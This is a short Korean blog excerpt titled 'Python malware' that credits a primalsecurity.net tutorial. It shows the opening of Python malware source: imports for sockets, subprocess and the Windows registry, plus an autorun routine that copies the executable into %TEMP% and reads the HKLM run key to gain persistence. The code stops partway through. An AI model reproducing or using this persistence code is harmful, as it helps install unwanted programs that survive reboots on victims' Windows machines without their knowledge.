[Python] 파이썬 악성코드
·
IT기술 관련/파이썬_루비 등 언어
출처: http://www.primalsecurity.net/0xc-python-tutorial-python-malware/ import sys, base64, os, socket, subprocess from _winreg import * def autorun(tempdir, fileName, run): # Copy executable to %TEMP%: os.system('copy %s %s'%(fileName, tempdir)) # Queries Windows registry for the autorun key value # Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0..